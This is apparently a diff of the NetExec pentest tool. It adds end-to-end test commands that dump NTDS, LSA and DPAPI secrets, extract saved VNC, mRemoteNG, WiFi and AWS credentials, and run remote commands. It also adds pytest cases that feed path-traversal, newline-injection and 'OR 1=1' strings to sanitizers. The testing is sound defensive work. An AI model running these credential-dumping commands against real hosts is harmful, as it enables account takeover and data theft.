"dsinternals>=1.2.4",
"jwt>=1.3.1",
"lsassy>=3.1.11",
@@ -47,7 +47,7 @@ dependencies = [
"terminaltables3>=4.0.0",
"xmltodict>=0.13.0",
# Git Dependencies
"certipy-ad @ git+https://github.com/Pennyw0rth/Certipy",
"certipy-nxc>=5.1.0.post1",
"impacket @ git+https://github.com/fortra/impacket",
"pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient",
]
@@ -98,14 +98,10 @@ dev = [
# malicious or compromised releases before they are selected during resolution.
[tool.uv]
exclude-newer = "1 day"
# Temporary: certipy-nxc 5.1.0.post1 was published 2026-10-14, remove once it is older than 1 day
exclude-newer-package = { certipy-nxc = "2026-10-14T17:00:00Z" }
[tool.ruff]
target-version = "py310"
exclude = [
".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache",
".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv",
"__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv"
]
preview = true
[tool.ruff.lint]
Binary file not shown.
+41 -1
View File
@@ -31,11 +31,13 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --his
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --history
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled --history
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --kerberos-keys
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --trust-keys
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --just-trust-keys
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm wmi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method atexec
@@ -195,6 +197,8 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an e
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
##### WMI Modules
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
@@ -206,9 +210,19 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netc
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
##### LDAP
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --simple-bind
netexec ldap TARGET_HOST --pfx-cert TEST_PFX_FILE --schannel
netexec ldap TARGET_HOST --pfx-cert TEST_PFX_FILE --schannel --port 636
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups
@@ -228,10 +242,12 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dc-list
##### LDAP Modules
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M certipy-find
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dns-nonsecure
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-info-users
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M tombstone
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps
@@ -256,6 +272,7 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID
# resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_NTHASH=31d6cfe0d16ae931b73c59d7e0c089c0
##### WINRM
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
@@ -278,6 +295,14 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M aws-credentials
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
##### MSSQL
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
@@ -285,6 +310,9 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-bru
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --database
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --db-hash
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-backups
##### MSSQL PowerShell
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
@@ -313,6 +341,14 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o LIKE_SEARCH=test,secret
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o REGEX=secret SHOW_DATA=False
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
##### RDP
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
@@ -320,6 +356,10 @@ netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-scree
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --screenshot
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-exec"
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo alpha^&beta"
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X "Write-Output 'nxc-rdp-exec'"
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-no-output" --no-output
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
+2
View File
@@ -32,6 +32,7 @@ def get_cli_args():
parser.add_argument("--test-password-file", required=False, default=normpath(join(script_dir, "data", "test_passwords.txt")), help="Path to the file containing test passwords")
parser.add_argument("--amsi-bypass-file", required=False, default=normpath(join(script_dir, "data", "test_amsi_bypass.txt")), help="Path to the file containing AMSI bypasses")
parser.add_argument("--test-normal-file", required=False, default=normpath(join(script_dir, "data", "test_file.txt")), help="Path to file to upload/download")
parser.add_argument("--test-pfx-file", required=False, default=normpath(join(script_dir, "data", "test_cert.pfx")), help="Path to the PFX certificate for certificate authentication")
parser.add_argument("--dns-server", action="store", required=False, help="Specify DNS server")
return parser.parse_args()
@@ -99,6 +100,7 @@ def replace_command(args, line):
.replace("TEST_PASSWORD_FILE", args.test_password_file)\
.replace("AMSI_BYPASS_FILE", args.amsi_bypass_file)\
.replace("TEST_NORMAL_FILE", args.test_normal_file)\
.replace("TEST_PFX_FILE", args.test_pfx_file)\
.replace("{DNS}", dns_server)\
.replace("/tmp", TMP_PATH)
if args.poetry:
+445
View File
@@ -0,0 +1,445 @@
import ntpath
from importlib.util import module_from_spec, spec_from_file_location
from pathlib import Path, PureWindowsPath
import re
from types import SimpleNamespace
from unicodedata import normalize
from unittest.mock import patch
import pytest
from impacket import ntlm
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.bloodhound import _add_with_domain, _add_without_domain
from nxc.helpers.misc import sanitize_dns
from nxc.helpers.negotiate_parser import parse_challenge
from nxc.helpers.path import sanitize_path_component
from nxc.parsers.ldap_results import parse_result_attributes
class Logger:
def __init__(self):
self.messages = []
self.extra = {}
def fail(self, message):
self.messages.append(message)
def debug(self, message):
self.messages.append(message)
def highlight(self, message):
self.messages.append(message)
def display(self, message):
self.messages.append(message)
def success(self, message):
self.messages.append(message)
def error(self, message):
self.messages.append(message)
class RaisingLogger:
def fail(self, message):
raise RuntimeError(message)
class Unstringable:
def __str__(self):
raise ValueError
class Challenge:
fields = {}
def __getitem__(self, key):
return {"TargetInfoFields": b"x", "TargetInfoFields_len": 1}[key]
class AVPairs:
def __init__(self, pairs):
self.pairs = pairs
def __getitem__(self, key):
return self.pairs.get(key)
class QueryResult:
def __init__(self, data):
self.result = data
def data(self):
return self.result
class Transaction:
def __init__(self, responses):
self.responses = responses
self.calls = []
def run(self, query, **parameters):
self.calls.append((query, parameters))
return QueryResult(self.responses.pop(0))
class SMBItem:
def __init__(self, name, directory=False):
self.name = name
self.directory = directory
def get_longname(self):
return self.name
def is_directory(self):
return self.directory
class SMBConnection:
def __init__(self, name):
self.item = SMBItem(name)
self.remote_path = None
def listPath(self, share, path):
return [self.item]
def getFile(self, share, remote_path, callback, shareAccessMode=None):
self.remote_path = remote_path
callback(b"content")
class RecursiveSMBConnection:
def __init__(self):
self.remote_path = None
def listPath(self, share, path):
if path == ntpath.join("root", "*"):
return [SMBItem(r"C:\outside", directory=True)]
return [SMBItem("proof.txt")]
def getFile(self, share, remote_path, callback, shareAccessMode=None):
self.remote_path = remote_path
callback(b"content")
class EnumerationSMBConnection:
def getSMBServer(self):
return SimpleNamespace(get_socket=lambda: SimpleNamespace(getsockname=lambda: ("192.0.2.10", 445)))
def login(self, username, password):
return None
def getServerDNSHostName(self):
return "HOST/../../evil.example"
def getServerName(self):
return "NETBIOS"
def getServerDNSDomainName(self):
return "example\n#injected"
def getServerOS(self):
return "Windows 11"
def getServerOSMajor(self):
return 10
def getServerOSMinor(self):
return 0
def getServerOSBuild(self):
return 26100
def logoff(self):
return None
@pytest.fixture(scope="module")
def smb_class():
spec = spec_from_file_location("sanitize_test_smb_protocol", Path(__file__).parents[1] / "nxc" / "protocols" / "smb.py")
module = module_from_spec(spec)
spec.loader.exec_module(module)
return module.smb
@pytest.mark.parametrize(
"hostname",
[
"server",
"SRV-01",
"3com",
"123",
"host.example.com",
"host_name",
"münchen.example",
"-odd-",
"name$@!%^&(),+~`",
"a" * 253,
],
)
def test_sanitize_dns_preserves_safe_and_noncompliant_names(hostname):
logger = Logger()
assert sanitize_dns(hostname, logger) == hostname
assert logger.messages == []
@pytest.mark.parametrize(
("hostname", "expected"),
[
(None, "_"),
("", "_"),
(".", "_"),
("..", "__"),
("host.", "host_"),
("host name", "host_name"),
("../../pwn", ".._.._pwn"),
(r"..\..\pwn", ".._.._pwn"),
("/tmp/pwn", "_tmp_pwn"),
(r"C:\temp", "C__temp"),
("{output_folder}", "_output_folder_"),
("host\uff0fname", "host_name"),
(b"server", "server"),
],
)
def test_sanitize_dns_returns_safe_strings(hostname, expected):
assert sanitize_dns(hostname, Logger()) == expected
def test_sanitize_dns_replaces_config_and_control_characters():
logger = Logger()
sanitized = sanitize_dns("host name\n\x00\x1b#comment;[section]={value}'\"", logger)
assert sanitized == "host_name____comment__section___value___"
assert len(logger.messages) == 1
assert "\n" not in logger.messages[0]
assert "\x00" not in logger.messages[0]
assert "\x1b" not in logger.messages[0]
assert r"\n" in logger.messages[0]
assert r"\x00" in logger.messages[0]
assert r"\x1b" in logger.messages[0]
@pytest.mark.parametrize("name", ["CON", "NUL.txt", "PRN", "AUX.log", "COM1", "LPT9.txt", "COM¹.txt", "CONIN$", "CONOUT$", "aux.example.com", "com1.example.com", "lpt9.example.com"])
def test_sanitize_dns_preserves_windows_device_names(name):
assert sanitize_dns(name, Logger()) == name
def test_sanitize_dns_bounds_long_values_with_stable_hash():
name = "é" * 200
sanitized = sanitize_dns(name, Logger())
assert len(sanitized.encode("utf-8")) <= 253
assert sanitized == sanitize_dns(name, Logger())
assert sanitized != name
assert len(sanitized.rsplit("_", 1)[1]) == 12
def test_sanitize_dns_replaces_malformed_bytes():
assert sanitize_dns(b"host\xffname", Logger()) == "host_name"
def test_sanitize_dns_always_returns_a_string():
assert sanitize_dns(Unstringable(), Logger()) == "_"
assert sanitize_dns("../host", None) == ".._host"
assert sanitize_dns("../host", RaisingLogger()) == ".._host"
@pytest.mark.parametrize(
"hostname",
["\n", "host\n", "host\x00name", "host\u202ename", "../../x", r"..\..\x", "{output_folder}", "host name", "\uff23\uff2f\uff2e"],
)
def test_sanitize_dns_postconditions(hostname):
sanitized = sanitize_dns(hostname, Logger())
normalized = normalize("NFKC", sanitized)
assert isinstance(sanitized, str)
assert sanitized
assert len(sanitized.encode("utf-8")) <= 253
assert all(character.isprintable() and not character.isspace() for character in sanitized)
assert not any(character in '<>:"/\\|?*{}[]=#;\'' for character in sanitized)
assert all(
normalized_character.isprintable()
and not normalized_character.isspace()
and normalized_character not in '<>:"/\\|?*{}[]=#;\''
for character in sanitized
for normalized_character in normalize("NFKC", character)
)
assert normalized not in (".", "..")
assert not normalized.endswith(".")
assert sanitize_dns(sanitized, Logger()) == sanitized
def test_parse_challenge_keeps_dns_and_netbios_names_distinct():
pairs = AVPairs({
ntlm.NTLMSSP_AV_HOSTNAME: (0, "NETBIOS_NAME".encode("utf-16le")),
ntlm.NTLMSSP_AV_DNS_HOSTNAME: (0, "server.example.com".encode("utf-16le")),
ntlm.NTLMSSP_AV_DNS_DOMAINNAME: (0, "example.com".encode("utf-16le")),
})
with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=pairs):
result = parse_challenge(b"challenge")
assert result["hostname"] == "NETBIOS_NAME"
assert result["dns_hostname"] == "server.example.com"
assert result["domain"] == "example.com"
def test_parse_challenge_handles_missing_names():
with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=AVPairs({})):
result = parse_challenge(b"challenge")
assert result["hostname"] is None
assert result["dns_hostname"] is None
assert result["domain"] is None
def test_ldap_dns_hostname_remains_raw_at_parse_boundary():
entry = ldapasn1_impacket.SearchResultEntry()
entry["objectName"] = ""
entry["attributes"][0]["type"] = "dNSHostName"
entry["attributes"][0]["vals"][0] = "../../evil\n"
result = parse_result_attributes([entry])
assert result == [{"dNSHostName": "../../evil\n"}]
@pytest.mark.parametrize(
("function", "user_info", "domain", "first_result", "expected"),
[
(_add_with_domain, {"username": "HOST' OR 1=1$"}, "EXAMPLE' OR 1=1", [{"c": {"owned": False}}], "HOST' OR 1=1.EXAMPLE' OR 1=1"),
(_add_without_domain, {"username": "USER' OR 1=1"}, None, [{"c": {"owned": False, "name": "USER' OR 1=1@EXAMPLE"}}], "USER' OR 1=1"),
],
)
def test_bloodhound_uses_parameters_for_untrusted_names(function, user_info, domain, first_result, expected):
transaction = Transaction([first_result, [{"name": expected}]])
if domain is None:
function(user_info, transaction, Logger())
else:
function(user_info, domain, transaction, Logger())
assert len(transaction.calls) == 2
assert all(expected not in query for query, _ in transaction.calls)
assert transaction.calls[0][1]["user_owned"] == expected
assert transaction.calls[1][1]["user_owned"] in (expected, "USER' OR 1=1@EXAMPLE")
def test_smb_enum_host_info_sanitizes_remote_names(smb_class):
connection = smb_class.__new__(smb_class)
connection.conn = EnumerationSMBConnection()
connection.host = "192.0.2.10"
connection.hostname = connection.host
connection.domain = None
connection.no_ntlm = False
connection.isdc = False
connection.os_arch = 0
connection.smbv1 = False
connection.kerberos = False
connection.kdcHost = "192.0.2.10"
connection.logger = Logger()
connection.db = SimpleNamespace(add_host=lambda *args: None)
connection.args = SimpleNamespace(generate_hosts_file=None, generate_krb5_file=None, domain=None, use_kcache=False, local_auth=False)
connection.is_host_dc = lambda aggressive_check=False: None
connection._is_signing_required = lambda: False
connection.get_os_arch = lambda: 64
connection.enum_host_info()
assert connection.hostname == "HOST_"
assert connection.targetDomain == "example__injected"
def test_smb_download_sanitizes_only_the_local_path(tmp_path, smb_class):
remote_name = r"..\..\escape.txt"
connection = smb_class.__new__(smb_class)
connection.conn = SMBConnection(remote_name)
connection.logger = Logger()
connection.args = SimpleNamespace(share="SHARE", append_host=False)
connection.download_folder("root", str(tmp_path), silent=True)
assert connection.conn.remote_path == ntpath.join("root", remote_name)
assert (tmp_path / ".._.._escape.txt").read_bytes() == b"content"
assert not (tmp_path.parent / "escape.txt").exists()
def test_smb_download_sanitizes_recursive_directory_components(tmp_path, smb_class):
connection = smb_class.__new__(smb_class)
connection.conn = RecursiveSMBConnection()
connection.logger = Logger()
connection.args = SimpleNamespace(share="SHARE", append_host=False)
connection.download_folder("root", str(tmp_path), recursive=True, silent=True)
assert connection.conn.remote_path == ntpath.join(r"C:\outside", "proof.txt")
assert (tmp_path / "C_" / "outside" / "proof.txt").read_bytes() == b"content"
@pytest.mark.parametrize(
("name", "expected"),
[
("CON", "_CON"),
("NUL.txt", "_NUL.txt"),
("../pwn", ".._pwn"),
(r"..\pwn", ".._pwn"),
("{hostname}", "{hostname}"),
("report{1}.txt", "report{1}.txt"),
("report_1_.txt", "report_1_.txt"),
("report\uff5b1\uff5d.txt", "report\uff5b1\uff5d.txt"),
("host\u202ename", "host_name"),
("münchen.example", "münchen.example"),
("CON .txt", "_CON .txt"),
],
)
def test_sanitize_path_component_handles_cross_platform_names(name, expected):
assert sanitize_path_component(name) == expected
def test_sanitize_path_component_replaces_malformed_bytes():
assert sanitize_path_component(b"host\xffname") == "host_name"
@pytest.mark.parametrize("name", ["../../x", r"C:\x", "\uff23\uff2f\uff2e.txt", "name. ", "x\uff0fy", "{output_folder}"])
def test_sanitize_path_component_postconditions(name):
sanitized = sanitize_path_component(name)
normalized = normalize("NFKC", sanitized)
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
assert sanitized
assert len(sanitized.encode("utf-8")) <= 255
assert all(character.isprintable() for character in sanitized)
assert not any(character in '<>:"/\\|?*' for character in sanitized)
assert all(
normalized_character.isprintable() and normalized_character not in '<>:"/\\|?*'
for character in sanitized
for normalized_character in normalize("NFKC", character)
)
assert normalized not in (".", "..")
assert not normalized.endswith(".")
assert not normalized[-1].isspace()
assert normalized_stem not in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
assert re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) is None
assert sanitize_path_component(sanitized) == sanitized
def test_sanitize_path_component_bounds_long_names_and_preserves_extension():
sanitized = sanitize_path_component(f"{'a' * 300}.log")
assert len(sanitized.encode("utf-8")) <= 255
assert sanitized.endswith(".log")
assert len(sanitized.rsplit("_", 1)[1].removesuffix(".log")) == 12
def test_sanitize_path_component_keeps_paths_inside_base(tmp_path):
sanitized = sanitize_path_component("../../outside")
output = tmp_path / sanitized
assert output.parent == tmp_path
assert PureWindowsPath("C:/base", sanitized).parent == PureWindowsPath("C:/base")
def test_sanitize_path_component_honors_custom_budget():
sanitized = sanitize_path_component("a" * 300, max_bytes=220)
assert len(sanitized.encode("utf-8")) <= 220
assert sanitized == sanitize_path_component("a" * 300, max_bytes=220)
def test_sanitize_path_component_drops_extension_that_exceeds_budget():
sanitized = sanitize_path_component(f"{'a' * 30}.abcdefghijklmnopqrstuvwx", max_bytes=20)
assert sanitized != "_"
assert len(sanitized.encode("utf-8")) <= 20
assert sanitize_path_component(sanitized, max_bytes=20) == sanitized
Generated
+56 -209
View File
@@ -1,14 +1,17 @@
version = 1
revision = 3
requires-python = ">=3.10, <4.0"
requires-python = ">=3.11, <4.0"
[options]
exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values.
exclude-newer-span = "P1D"
[options.exclude-newer-package]
certipy-nxc = "2026-10-14T17:00:00Z"
[[package]]
name = "aardwolf"
version = "0.2.14"
version = "0.2.16"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "arc4" },
@@ -22,7 +25,12 @@ dependencies = [
{ name = "tqdm" },
{ name = "unicrypto" },
]
sdist = { url = "https://files.pythonhosted.org/packages/92/88/b1a7e3dd1e727245fe893bb707520ba91cc980443c0c261f730b35244b62/aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6", size = 973985, upload-time = "2026-06-20T21:07:04.498Z" }
sdist = { url = "https://files.pythonhosted.org/packages/71/0f/79f2acb31e1144a3895d17ad9136272d2b75ed3bd24eb1c415129d5e089d/aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2", size = 1013103, upload-time = "2026-10-04T18:44:46.704Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/6c/8d/a0cfa361e4077c56bcda4b820c462dbea4a11ff60110bc8486c1f051b660/aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7", size = 2169322, upload-time = "2026-10-04T18:44:41.102Z" },
{ url = "https://files.pythonhosted.org/packages/15/7b/079c9087a742763141d3e2e4b000f34c3962aa6cb67599158fcb08c9aaaa/aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259", size = 2241815, upload-time = "2026-10-04T18:44:43.011Z" },
{ url = "https://files.pythonhosted.org/packages/71/43/b51e73133aae6a3e56bfb79174e8a4edc99f8ef051202b0e7173053a0886/aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6", size = 1966337, upload-time = "2026-10-04T18:44:45.294Z" },
]
[[package]]
name = "aesedb"
@@ -86,7 +94,6 @@ name = "anyio"
version = "4.14.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "exceptiongroup", marker = "python_full_version < '3.11'" },
{ name = "idna" },
